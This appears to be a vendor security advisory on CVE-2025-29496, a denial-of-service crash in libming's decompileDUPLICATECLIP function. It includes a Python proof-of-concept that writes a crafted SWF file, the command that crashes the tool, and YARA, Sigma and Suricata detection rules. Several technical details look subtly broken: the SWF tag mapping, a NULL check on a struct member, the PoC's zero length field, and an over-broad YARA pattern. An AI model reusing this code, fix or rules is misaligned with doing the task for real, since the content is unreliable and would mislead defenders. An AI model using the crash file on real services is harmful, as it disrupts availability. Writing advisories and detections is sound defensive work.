CVE-2025-29496

Executive Summary

CVE-2025-29496 is a denial-of-service (DoS) vulnerability in libming v0.4.8, an open-source SWF file manipulation library. The flaw resides in the decompileDUPLICATECLIP function, where a crafted SWF file triggers a segmentation fault (NULL pointer dereference). This allows an attacker to crash any application or service that processes untrusted SWF files using libming, leading to service disruption.

The vulnerability has a CVSS v3.1 base score of 5.5 (Medium) due to low attack complexity but requiring user interaction (opening a malicious file). No public exploit code or patch exists as of the advisory date. The EPSS score is 0.0%, indicating very low exploitation likelihood in the wild.

Supply Chain & Package Security

libming is a C library used in various media processing tools and web applications. It is not distributed via NPM, PyPI, Go, or Ruby registries. However, it may be statically linked or bundled in downstream software. Organizations should inventory any software that depends on libming and assess exposure.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires user interaction but no privileges. The impact is limited to availability (DoS). No known active exploitation.

Deep Dive & Mechanics

The vulnerability is a NULL pointer dereference (CWE-476) in the decompileDUPLICATECLIP function within src/decompile.c. When processing a malformed SWF file, the function attempts to access a pointer that has not been properly initialized or has been set to NULL. This causes a segmentation fault, crashing the process.

Root Cause: The function fails to validate that a required data structure (likely a clip action record) exists before dereferencing it. An attacker can craft a SWF file with a DUPLICATECLIP tag that references a non-existent or malformed clip, triggering the crash.

Attack Vector: The attacker must convince a user or automated system to open a malicious SWF file using a tool that relies on libming (e.g., swftophp, swfrender, or custom applications). No network-based exploitation is possible without user interaction.

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// src/decompile.c (simplified)
void decompileDUPLICATECLIP(SWF_ACTION *act) {
    // Missing NULL check
    struct SWF_ACTIONRECORD *rec = act->Actions[0];
    // rec->Data is dereferenced without validation
    int depth = rec->Data.DUPLICATECLIP.depth;
    // ... further processing
}

Patched Code (hypothetical fix):

void decompileDUPLICATECLIP(SWF_ACTION *act) {
    if (act == NULL || act->Actions == NULL || act->Actions[0] == NULL) {
        // Handle error gracefully
        return;
    }
    struct SWF_ACTIONRECORD *rec = act->Actions[0];
    if (rec->Data == NULL) {
        return;
    }
    int depth = rec->Data.DUPLICATECLIP.depth;
    // ... safe processing
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• libming v0.4.8 installed
• A tool that uses libming (e.g., swftophp)

Steps:

1. Create a malformed SWF file that triggers the vulnerability. Example using Python:

import struct

def create_malicious_swf():
    # Minimal SWF header
    header = b'FWS' + struct.pack('<H', 9)  # version 9
    header += struct.pack('<I', 0)  # file length placeholder
    
    # DUPLICATECLIP tag (tag type 58)
    tag_type = 58
    tag_data = b'\x00' * 10  # malformed data
    tag_length = len(tag_data)
    tag_record = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length > 0x3F:
        tag_record += struct.pack('<I', tag_length)
    
    swf = header + tag_record + tag_data
    with open('malicious.swf', 'wb') as f:
        f.write(swf)

create_malicious_swf()

2. Run the vulnerable tool:

swftophp malicious.swf

3. Observe segmentation fault:

Segmentation fault (core dumped)

Blue Team (Detection & Defense)

Detection:

• Monitor for crashes in applications using libming (e.g., via system logs or crash dumps).
• Use file integrity monitoring to detect unexpected SWF files.
• Deploy the YARA and Sigma rules below.

Defense:

• Isolate libming-based services in sandboxed environments.
• Restrict file upload capabilities that accept SWF files.
• Apply ASLR and stack canaries to mitigate exploitation.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_29496_libming_DoS {
    meta:
        description = "Detects malformed SWF files targeting CVE-2025-29496"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29496"
    strings:
        $swf_header = "FWS" nocase
        $duplicateclip_tag = { 3A ?? }  // Tag type 58 (0x3A) with any length
    condition:
        $swf_header at 0 and $duplicateclip_tag
}

Sigma Rule

title: CVE-2025-29496 - libming DoS via Malformed SWF
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects crashes in libming-based applications processing SWF files
author: Valters IT
logsource:
    category: application
    product: linux
detection:
    selection:
        EventID: 11  # Crash event (e.g., systemd-coredump)
        Image|endswith:
            - '/swftophp'
            - '/swfrender'
    condition: selection
falsepositives:
    - Legitimate SWF files with unusual structures
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29496 - Malicious SWF File Download"; flow:to_client; file.name:/\.swf$/i; file.magic:"FWS"; content:"|3A|"; distance:0; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Discontinue use of libming v0.4.8 in production environments.
2. Replace with an alternative SWF parsing library (e.g., swftools with patches, or ffmpeg for SWF processing).
3. Apply input validation – reject SWF files with malformed DUPLICATECLIP tags.

Long-Term Fix:

• Contribute a patch to the libming project (see Vulnerable vs. Patched Code section).
• Monitor for official updates from the vendor.

Workaround:

• Run libming-based services in a sandboxed environment (e.g., Docker with limited resources).
• Use a Web Application Firewall (WAF) to block SWF file uploads if not required.

Valters IT – DevSecOps & Cyber Threat Intelligence